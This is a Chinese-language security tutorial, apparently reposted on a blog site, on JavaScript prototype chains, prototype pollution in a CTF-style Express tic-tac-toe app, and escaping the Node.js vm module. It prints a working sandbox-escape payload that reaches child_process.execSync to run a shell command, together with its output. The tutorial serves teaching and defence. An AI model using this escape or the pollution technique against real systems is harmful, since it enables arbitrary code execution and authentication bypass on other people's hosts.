渗透攻击方法:原型链污染

目录

一、什么是原型链

1、原型对象

2、prototype属性

3、原型链

1、显示原型

2、隐式原型

3、原型链

4、constructor属性

二、原型链污染重现

实例

Nodejs沙箱逃逸

1、什么是沙箱(sandbox)

2、vm模块


一、什么是原型链

1、原型对象

JavaScript 中所有的对象都有一个内置属性,称为它的 prototype(原型)。它本身是一个对象,故原型对象也会有它自己的原型,逐渐构成了原型链。原型链终止于拥有 null 作为其原型的对象上。

注意 指向对象原型的属性并是 prototype。它的名字不是标准的,但实际上所有浏览器都使用 __proto__。访问对象原型的标准方法是 Object.getPrototypeOf()。

而对于原型对象来说,它有个constructor属性,指向它的构造函数。

2、prototype属性

1、JavaScript 规定,每个函数都有一个prototype属性,指向一个对象。

2、JavaScript 继承机制的设计思想就是,原型对象的所有属性和方法,都能被实例对象共享。也就是说,如果属性和方法定义在原型上,那么所有实例对象就能共享,不仅节省了内存,还体现了实例对象之间的联系。

3、原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。

4、原型对象的属性不是实例对象自身的属性。只要修改原型对象,变动就立刻会体现在所有实例对象上。

5、如果实例对象自身就有某个属性或方法,它就不会再去原型对象寻找这个属性或方法。

总的来说,原型对象的作用,就是定义所有实例对象共享的属性和方法而实例对象可以视作从原型对象衍生出来的子对象。

3、原型链

原型链分为两个类型:显示原型隐式原型

1、显示原型

显示原型就是利用prototype属性查找原型,只是这个是函数类型数据的属性。

2、隐式原型

隐式原型是利用__proto__属性查找原型,这个属性指向当前对象的构造函数的原型对象,这个属性是对象类型数据的属性,所以可以在实例对象上面使用:

3、原型链

JavaScript 规定,所有对象都有自己的原型对象(prototype)。一方面,任何一个对象,都可以充当其他对象的原型;另一方面,由于原型对象也是对象,所以它也有自己的原型。因此,就会形成一个“原型链”(prototype chain):对象到原型,再到原型的原型……


如果某个对象查找属性,自己和原型对象上都没有,那就会继续往原型对象的原型对象上去找,这个例子里就是Object.prototype,这里就是查找的终点站了,在这里找不到,就没有更上一层了(null里面啥也没有),直接返回undefined。

可以看出,整个查找过程都是顺着__proto__属性,一步一步往上查找,形成了像链条一样的结构,这个结构,就是原型链。所以,原型链也叫作隐式原型链。

正是因为这个原因,我们在创建对象、数组、函数等等数据的时候,都自带一些属性和方法,这些属性和方法是在它们的原型上面保存着,所以它们自创建起就可以直接使用那些属性和方法。

4、constructor属性

prototype对象拥有一个constructor属性,用来指向prototype对象所在的构造函数,我们也是通过这条路径来污染原型链的。
1、由于constructor属性定义在prototype对象上面,意味着可以被所有实例对象继承。

2、constructor属性的作用是,可以得知某个实例对象,到底是哪一个构造函数产生的。

3、有了constructor属性,就可以从一个实例对象新建另一个实例。

4、constructor属性表示原型对象与构造函数之间的关联关系,如果修改了原型对象,一般会同时修改constructor属性,防止引用的时候报错。

二、原型链污染重现

实例

代码如下

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})

在此之前,我们获得信息必须要满足以下条件:

传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在。

if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}   

由代码可知,全文没有对user.admintokn 进行赋值,所以理论上这个值时不存在的,但是下面有一句赋值语句:

matrix[client.row][client.col] = client.data

最终实现如下效果

Nodejs沙箱逃逸

1、什么是沙箱(sandbox)

在计算机安全性方面,沙箱(沙盒、sanbox)是分离运行程序的安全机制,提供一个隔离环境以运行程序。通常情况下,在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止,资源包括内存、网络访问、主机系统等等。

沙箱通常用于执行不受信任的程序或代码,例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险.

2、vm模块

vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。 

使用方法很简单,我们执行m+n这个表达式:

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:

this 指向传给vm.createContext的那个对象

m 等于数字1

n 等于数字2

我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境

以下是vm运行的几个常用函数

vm.createContext([sandbox]):在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8(Chrome中的v8引擎)为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

const vm = require('vm');
global.a = 1;
const sandbox = { a: 2 };
vm.createContext(sandbox);  // 创建一个上下文隔离对象
vm.runInContext('a*=2;', sandbox);console.log(sandbox);
console.log(a); 
//输出为
[Running] node "f:\nodejs\vmtext.js"
{ a: 4 }
1
//上下文中的a在输出中应为2*2=4,但是真正输出结果a仍是1,即沙箱内部无法访问到global的属性。

以下是一个简单的沙箱逃逸的例子:

const inspect = require('util').inspect;
const vm = require('vm');
const script = `
(e => {const process = this.toString.constructor('return process')()return process.mainModule.require('child_process').execSync('whoami').toString()
})()
`;
const sandbox = {m:1};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)//输出结果为
[Running] node "f:\nodejs\vm.js"
desktop-028es37\111//与计算机终端使用whoami命令输出结果一致,证明逃逸成功

计算机最终输出结果

C:\User\1\whoami
desktop-028sw38\1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/29201.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

不只是Axure,这5 个也能轻松画原型图!

在设计和开发过程中&#xff0c;原型图是一个至关重要的工具。它是将设计理念转化为可视化、交互式的形式&#xff0c;使团队成员和利益相关者更好地理解和评估产品的功能和用户体验。选择适合的软件工具对于画原型图至关重要&#xff0c;本文将介绍 5 种常用的画原型图软件&am…

spring 面试题

一、Spring面试题 专题部分 1.1、什么是spring? Spring是一个轻量级Java开发框架&#xff0c;最早有Rod Johnson创建&#xff0c;目的是为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题。它是一个分层的JavaSE/JavaEE full-stack&#xff08;一站式&#xff09;轻量…

【LeetCode 75】第二十三题(2352)相等行列对

目录 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 代码运行结果&#xff1a; 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 题目很简洁&#xff0c;就是要我们寻找行与列相同的对数。相同行与列不仅是要元素相同&#xff0c;还需要顺序也一样&#xff08…

tomcat虚拟主机配置演示

一.新建用于显示的index.jsp文件&#xff0c;写入内容 二.修改tomcat/apache-tomcat-8.5.70/conf/server.xml配置文件 匹配到Host那部分&#xff0c;按上面格式在后面添加自己的域名和文件目录信息 主要是修改name和docBase 保存退出重启tomcat&#xff0c;确保tomcat运行…

如何使用Pycharm 快速搭建 Django 项目 (分享详细图文教程)

1. 准备工作 在开始创建Django项目之前&#xff0c;需要先确保已经安装了Python和Pycharm。并且python中已经安装好了Django依赖。 1安装python&#xff08;这里我安装使用的是python3.11.4稳定版本&#xff09; 官网下载太慢了这里直接贴网盘下载连接了&#xff0c;一起贴出py…

常见监控网络链路和网络设备的方法

网络监控主要包括网络链路监控和网络设备监控&#xff0c;通常系统运维人员会比较关注。 一、网络链路监控 网络链路监控主要包含三个部分&#xff0c;网络连通性、网络质量、网络流量。 连通性和质量的监控手段非常简单&#xff0c;就是在链路一侧部署探针&#xff0c;去探…

Leetcode-每日一题【剑指 Offer 14- II. 剪绳子 II】

题目 2、3、3的三段&#xff0c;此时得到的最大乘积是18。 答案需要取模 1e97&#xff08;1000000007&#xff09;&#xff0c;如计算初始结果为&#xff1a;1000000008&#xff0c;请返回 1。 示例 1&#xff1a; 输入: 2输出: 1解释: 2 1 1, 1 1 1 示例 2: 输入: 10输出…

nginx负载均衡(反向代理)

nginx负载均衡 负载均衡&#xff1a;由反向代理来实现。 nginx的七层代理和四层代理&#xff1a; 七层是最常用的反向代理方式&#xff0c;只能配置在nginx配置文件的http模块当中&#xff0c;而且配置方法名称&#xff1a;upstream模块&#xff0c;不能写在server模块中&#…

leetcode26-删除有序数组中的重复项

双指针—快慢指针 慢指针 slow 走在后面&#xff0c;快指针 fast 走在前面探路&#xff0c;找到一个不重复的元素的时候就让slow前进一步并赋值给它。 流程&#xff1a; 代码 class Solution { public:int removeDuplicates(vector<int>& nums) {int slow 0, fas…

解决 “fatal: Could not read from remote repository.

问题描述&#xff1a; 在使用Git将本地仓库推送到远程仓库或将远程仓库克隆到本地的时候&#xff0c;发生了如下错误&#xff1a;“fatal: Could not read from remote repository.” 原因分析&#xff1a; 出现这错误一般是以下两种原因&#xff1a; 客户端与服务端未生成 …

Mybatis异常Invalid bound statement (not found)原因之Mapper文件配置不匹配

模拟登录操作 $.post("/admin/login", {aname, pwd }, rt > {if (rt.code 200) {location.href "manager/index.html";return;}alert(rt.msg)});网页提示服务器代码错误 POST http://localhost:8888/admin/login 500后端显示无法找到Mapper中对应的…

一文看懂Apipost接口自动化使用方法

随着项目研发进程的不断推进&#xff0c;软件功能不断增多&#xff0c;对于软件测试的要求也越来越高。为了提高测试效率和减少测试成本&#xff0c;许多软件测试团队借助于自动化测试工具来优化测试流程。Apipost也提供了自动化测试工具&#xff0c;在本文中&#xff0c;我们将…

libmpv使用滤镜处理视频进行播放

一、前言 作为一个功能强大的多媒体框架,libmpv为开发者提供了广泛的功能和灵活的控制权。滤镜是libmpv的一个重要特性,允许开发者对视频进行各种实时处理和增强,从而满足用户对于个性化、创意化和高质量视频体验的需求。 滤镜是一种在视频渲染过程中应用特定效果的技术。…

具有吸引子的非线性系统(MatlabSimulink实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

Java—IO 流

Java—IO 流 &#x1f50d;文件创建文件获取文件相关信息目录相关操作 &#x1f50d;IO 流理解流与文件流的分类FileInputStreamFileOutputStream文件拷贝FileReaderFileWriter节点流与处理流类型 BufferedReaderBufferedWriterBufferedInputStream BufferedOutputStream对象处…

Leetcode-每日一题【剑指 Offer 18. 删除链表的节点】

题目 给定单向链表的头指针和一个要删除的节点的值&#xff0c;定义一个函数删除该节点。 返回删除后的链表的头节点。 注意&#xff1a;此题对比原题有改动 示例 1: 输入: head [4,5,1,9], val 5输出: [4,1,9]解释: 给定你链表中值为 5 的第二个节点&#xff0c;那么在调…

备战大型攻防演练,“3+1”一套搞定云上安全

在重大活动保障期间&#xff0c;企业不仅要面对愈发灵活隐蔽的新型攻击挑战&#xff0c;还要在人员、精力有限的情况下应对不分昼夜的高强度安全运维任务。如何在这种多重压力下&#xff0c;从“疲于应付”迈向“胸有成竹”呢&#xff1f; 知己知彼&#xff0c;百战不殆&#…

用户体验旅程图:改进用户体验的好工具

用户体验旅程图&#xff1a;改进用户体验的好工具 怎么改进体验&#xff0c;是有方法的 用户情绪曲线来衡量用户感觉 趣讲大白话&#xff1a;没有流程刨析&#xff0c;就没法改进 【趣讲信息科技245期】 **************************** 企业管理需要基本的流程的 企业流程简称BP…

docker容器监控:Cadvisor+InfluxDB+Grafana的安装部署

目录 CadvisorInfluxDBGrafan安装部署 1、安装docker-ce 2、阿里云镜像加速器 3、下载组件镜像 4、创建自定义网络 5、创建influxdb容器 6、创建Cadvisor 容器 7、查看Cadvisor 容器&#xff1a; &#xff08;1&#xff09;准备测试镜像 &#xff08;2&#xff09;通…

pycharm、idea、golang等JetBrains其他IDE修改行分隔符(换行符)、在Git CRLF、LF 换行符转换

文章目录 pycharm、idea、golang系列修改行分隔符我应该选择什么换行符JetBrains IDE&#xff0c;默认行分隔符 是跟随系统修改JetBrains IDE&#xff0c;默认行分隔符 在Git CRLF、LF 换行符转换需求Git 配置选项 pycharm、idea、golang系列修改行分隔符 一般来说,不同的开发…